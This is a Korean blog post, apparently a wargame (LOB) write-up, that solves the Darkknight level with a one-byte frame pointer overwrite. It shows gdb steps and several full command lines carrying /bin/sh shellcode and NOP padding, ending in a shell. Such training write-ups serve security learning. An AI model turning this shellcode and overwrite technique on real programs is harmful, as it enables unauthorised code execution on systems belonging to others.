LOB:Golem→Darkknight

LOB 2018. 4. 11. 12:14

darkknight의 코드이다. 이번엔 problem_child라는 함수를 통해서 strncrpy를 하는데, 41자만 하도록 되어있다. 따라서 이번엔 ret을 덮어쓰는건 불가능 하다.


그럼 무슨방법이 있을까?


주석을 보면 친절하게 -FPO라는 것이 적혀있다. 


http://bob3rdnewbie.tistory.com/188 을 참고 해서 FPO 취약점에 대해 알아보았다. 마침 strncpy도 41바이트를 받으므로 조건이 갖춰졌다.


우선 gdb로 메인함수를 보자.



간단하게 problem_child를 호출하는 것을 볼 수 있다.


그럼 problem_child를 보자



strncpy가 보인다. 함수가 종료되기 직전의 스택상황을 보고 싶으니 problem_child+41에 BP를 걸자.


B *problem_child+41


그리고 한번 실행해 보자.


 r `python -c 'print "A"*40'`


보면 0xbffffad4부터 들어가 있는 것을 볼 수있다. 그리고 SFP는 0xbffffb00으로 보인다.


버퍼가 있는 주소는 fa인데 SFP가 fb라니.. 그럼 덮어쓸 수가 없는걸까?


라고 생각하다가, 전에 버퍼에 내용을 많이 넣어서 주소를 0xbffe----까지 내렸던 기억이 났다.


그래서 한번 버퍼 뒤로 글자들을 더 넣어보았다.



보다시피, 0xbffffa--로 바뀐것을 확인했다.


그럼 버퍼 안으로 쉘코드를 넣고, SFP를 버퍼 앞으로 바꾸면 되지 않을까?


./darkknight `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xc4" + "\x90"*55'






보다시피 Illegal instruction 이 뜬다. 코어를 뜯어보니,


제대로 패치 되지 않았다.


잘 생각해보니 이번에 내가 넣은 쉘코드는 24byte이므로 0x90을 16개 넣어줘야했는데 바보처럼 15개를 넣어버린 것이었다.


./darkknight `python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x58" + "\x90"*55'`




바꾸고 넣어보니 이번에는 세폴이 뜬다. 또 코어를 까보자



보아하니 레지스터중 ebp와 eip가 보두 0x90909090이 되어있었다. 이유는 모르겠지만 NOP를 너무 많이 넣은건가?


한번뒤에 NOP를 25개정도로 줄여보았다.


./darkknight `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xc4" + "\x90"*25'





그랬더니 쉘을 획득했다.




아직 FPO이해 안됨

'LOB' 카테고리의 다른 글

LOB:Bugbear→Giant  (0) 2018.04.30
LOB:Darkknight→Bugbear  (0) 2018.04.11
LOB:Skeleton→Golem  (0) 2018.04.10
LOB:Vampire→Skeleton  (0) 2018.04.09
LOB : Troll→Vampire  (0) 2018.04.09
블로그 이미지

천재보다는 범재

,